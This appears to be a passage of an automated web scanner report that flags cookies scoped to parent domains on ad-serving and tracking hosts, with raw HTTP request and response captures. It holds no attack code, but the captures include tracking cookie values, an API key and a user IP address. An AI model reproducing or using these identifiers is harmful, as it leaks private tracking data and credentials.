HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 04:06:37 GMT Server: Apache/2.2.10 (Win32) PHP/5.2.6 X-Powered-By: PHP/5.2.6 Set-Cookie: SESSec9a802c73b09f70b19df80cd6286d02=kdi10q8smc5gnbf5onr9ocvdj0; expires=Sat, 26 Feb 2011 07:39:57 GMT; path=/; domain=.trw.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Thu, 03 Feb 2011 04:06:37 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 10693
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head> < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|1984865/1006548/15007|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click;h=v8/3aa2/f/3cd/*/n;235235065;0-0;0;59067898;4307-300/250;40443113/40460900/1;;~sscs=?http:/ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=http%3a%2f%2flp2.turbotax.com/ty10/bn/geo_tx%3Fcid%3Dbn_im_nf_anb_opgeotxT_txG_pk_300x250%26priorityCode%3D4654800000 HTTP/1.1 Host: ad-emea.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http:%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http:%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=http:%2f%2flp2.turbotax.com/ty10/bn/geo_tx%3Fcid%3Dbn_im_nf_anb_opgeotxT_txG_pk_300x250%26priorityCode%3D4654800000 Set-Cookie: id=c653243310000d9|1984865/1006548/15007|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 02 Feb 2011 16:18:22 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=c37ccbd32000070||t=1296715715|et=730|cs=dt-1jb2n; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:48:35 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:48:35 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ad/N4492.MSN/B5014254.59 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc; test_cookie=CheckForPermission;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Date: Thu, 03 Feb 2011 06:48:35 GMT Location: http://s0.2mdn.net/viewad/817-grey.gif Cache-Control: no-cache Pragma: no-cache Set-Cookie: id=c37ccbd32000070||t=1296715715|et=730|cs=dt-1jb2n; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:48:35 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:48:35 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 14:46:15 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ad/N553.126834.KONTERATECHNOLOGIES/B5039995 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Date: Tue, 01 Feb 2011 14:31:15 GMT Location: http://s0.2mdn.net/viewad/817-grey.gif Cache-Control: no-cache Pragma: no-cache Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 14:46:15 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=cb3d6bd32000037||t=1296716221|et=730|cs=9el-dbvd; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:57:01 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:57:01 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adi/N3285.google/B2343920.91 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc; test_cookie=CheckForPermission;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 345 Set-Cookie: id=cb3d6bd32000037||t=1296716221|et=730|cs=9el-dbvd; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:57:01 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:57:01 GMT Cache-Control: no-cache Pragma: no-cache Date: Thu, 03 Feb 2011 06:57:01 GMT Expires: Thu, 03 Feb 2011 06:57:01 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Tue, 01 Feb 2011 15:23:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=ISO-8859-1 Set-Cookie: id=2244e57c0c01002a||t=1296573792|et=730|cs=pkhwecaq; expires=Thu, 31-Jan-2013 15:23:12 GMT; path=/; domain=.doubleclick.net Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21-July-2008 23:59:00 GMT X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 1; mode=block Content-Length: 6715
<html><head><title>Advertisement</title></head><body bgcolor="#ffffff" style="margin:0px;"><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. --> <!-- Code auto-generated ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:37:55 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:37:55 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Tue, 01 Feb 2011 15:22:55 GMT Cache-Control: private, x-gzip-ok="" Expires: Tue, 01 Feb 2011 15:22:55 GMT Content-Length: 5478
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=ca5f3b5320000b9||t=1296663503|et=730|cs=lv-flm96; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:23 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:23 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adi/dmd.ehow/homepage HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=ce03cb532000061||t=1296659799|et=730|cs=dxq5uhqs; test_cookie=CheckForPermission;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 393 Set-Cookie: id=ca5f3b5320000b9||t=1296663503|et=730|cs=lv-flm96; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:23 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:23 GMT Cache-Control: no-cache Pragma: no-cache Date: Wed, 02 Feb 2011 16:18:23 GMT Expires: Wed, 02 Feb 2011 16:18:23 GMT Connection: close
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/ ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=c8b2db5320000e0||t=1296659579|et=730|cs=cn7-xujn; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 15:12:59 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:12:59 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Set-Cookie: id=c8b2db5320000e0||t=1296659579|et=730|cs=cn7-xujn; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 15:12:59 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:12:59 GMT Date: Wed, 02 Feb 2011 15:12:59 GMT Cache-Control: private, x-gzip-ok="" Expires: Wed, 02 Feb 2011 15:12:59 GMT Content-Length: 262
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=ca5f3b5320000dd|1890937/408080/15007|t=1296663507|et=730|cs=woptkuft; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:27 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:27 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click;h=v8/3aa2/17/1d3/*/o;231173167;2-0;0;55360143;4307-300/250;40534690/40552477/1;;~okv=;pc=[TPAS_ID];;~sscs=?http:/ad.thewheelof.com/clk?2,13%3B653249d08c366ff1%3B12de6eda05f,0%3B%3B%3B1017169916,NwQAAD4rFgD4vmoAAAAAACJcHgAAAAAAAgAAAAIAAAAAAP8AAAAECkpVJAAAAAAAl5IEAAAAAABSBigAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAGZ.t5i0BAAAAAAAAAGI1OTgxOTRhLTJlZGUtMTFlMC05YmRiLTAwMzA0OGQ2ZDg5MABwAAAAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Btile%3D2%3Bord%3D2735259747132%3F,http://www.autocheck.com/?WT.mc_id=3499&siteID=3499 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=ce03cb532000061||t=1296659799|et=730|cs=dxq5uhqs; test_cookie=CheckForPermission;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ad.thewheelof.com/clk?2,13%3B653249d08c366ff1%3B12de6eda05f,0%3B%3B%3B1017169916,NwQAAD4rFgD4vmoAAAAAACJcHgAAAAAAAgAAAAIAAAAAAP8AAAAECkpVJAAAAAAAl5IEAAAAAABSBigAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAGZ.t5i0BAAAAAAAAAGI1OTgxOTRhLTJlZGUtMTFlMC05YmRiLTAwMzA0OGQ2ZDg5MABwAAAAAAA=,,http://ad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Btile%3D2%3Bord%3D2735259747132%3F,http://www.autocheck.com/?WT.mc_id=3499&siteID=3499 Set-Cookie: id=ca5f3b5320000dd|1890937/408080/15007|t=1296663507|et=730|cs=woptkuft; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:27 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:27 GMT Date: Wed, 02 Feb 2011 16:18:27 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|737194/848412/15006|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;235700229;59276878;v HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc; test_cookie=;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://weeklyad.staples.com/staples/new_user_entry.aspx?adref=2011Q1WeeklyAdMSNTextlink&cm_mmc=display_ads-_-WeeklyAd2011-_-OLC-_-MSN&cid=BAN:RETAIL:MSN:MSN:WEEKLYAD:20110201:TEXTLINK:VARIOUS:N Set-Cookie: id=c653243310000d9|737194/848412/15006|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Tue, 01 Feb 2011 15:29:56 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aclk HTTP/1.1 Host: adclick.g.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adserver/vdi/762701?d=D8DB51BF08484217F5D14AB47F4002AD HTTP/1.1 Host: ads.adbrite.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=168362173x0.688+1294536261x899753879; cv=1%3Aq1ZyLi0uyc91zUtWslIySyktr0nPLLDMMi8zrjGwMswuNjMusjK0MlCqBQA%3D; ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z9dJzsiwSC%2BoysmrMczJSS%2BqqjGsMYAJZuUgCSrpKCUl5uWlFmWCjVKqrQUA; rb="0:712156:20822400:6ch47d7o8wtv:0:742697:20828160:3011330574290390485:0:753292:20858400:CA-00000000456885722:0:762701:20861280:D8DB51BF08484217F5D14AB47F4002AD:0:806205:20861280:21d8e954-2b06-11e0-8e8a-0025900870d2:0"
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Date: Wed, 02 Feb 2011 15:11:19 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC" Server: Apache-Coyote/1.1 Set-Cookie: vsd="0@1@4d497418@www.ehow.com"; Version=1; Domain=.adbrite.com; Max-Age=172800; Path=/ Set-Cookie: srh=1%3Aq64FAA%3D%3D; Domain=.adbrite.com; Expires=Thu, 03-Feb-2011 15:11:20 GMT; Path=/ Content-Length: 42
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /select/Login HTTP/1.1 Host: adwords.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /v1/profile.json?api_key=6332f8b7316a4d1284e9c1217a367347&callback=Demdex.parseBizo HTTP/1.1 Host: api.bizographics.com Proxy-Connection: keep-alive Referer: http://fast.dm.demdex.net/dm-dest.html?bizo=1&bizovalidttl=7& Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KbEYt9Gm0axhaj5XcunNcMDa7Re6IGD4lDrbCisip76D66Ad6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRXq0x1X4kUBB3CBHNXcl3bEVUJBxdqAyDalXCEoKjwKKB7uI3cisSEIeS2mCWkomhIipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie
Response
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: application/json Date: Wed, 02 Feb 2011 15:11:22 GMT P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Pragma: no-cache Server: nginx/0.7.61 Set-Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000 Set-Cookie: BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KRShFj6bKbiijaj5XcunNcMDa7Re6IGD4lLFCw41jWbyOAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtT8sOM0TiiisRAyMfy5dfAVhDEVUJBxdqAyAsVh4uYPLmIgwbisDgBSipgnUuNumFpPoipAipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000 Content-Length: 165 Connection: keep-alive
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b?c1=8&c2=6036297&rn=974371644&c7=http%3A%2F%2Fwww.montanaplates.com%2F880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html&c3=12345678&c8=Twitter%20Tweets%20about%20Llc%20as%20of%20January%2020%2C%20201&cv=2.2&cs=js HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 204 No Content Content-Length: 0 Date: Tue, 01 Feb 2011 14:28:14 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Thu, 31-Jan-2013 14:28:14 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /blog.php?post=382978412130 HTTP/1.1 Host: blog.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=Fq5JTSw9c381ZCmsmGv_p6Xn; expires=Fri, 01-Feb-2013 19:18:46 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=i0PHb; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fblog.facebook.com%2Fblog.php%3Fpost%3D382978412130; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fblog.facebook.com%2Fblog.php%3Fpost%3D382978412130; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 02 Feb 2011 19:18:46 GMT Content-Length: 30164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /blogsearch HTTP/1.1 Host: blogsearch.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta HTTP-EQUIV="content-type" content="text/html; charset=UTF-8"><meta description="Google Blog Search provides fresh, relevant search results from millions of feed-enabled blogs. Users ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:32 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=4abc8d19f12bc81a:TM=1296574232:LM=1296574232:S=ngidMyE0rUGptvZ6; expires=Thu, 31-Jan-2013 15:30:32 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /books HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:31 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=0c90630420770629:TM=1296574231:LM=1296574231:S=mhwvdWjwMbFHKvE5; expires=Thu, 31-Jan-2013 15:30:31 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
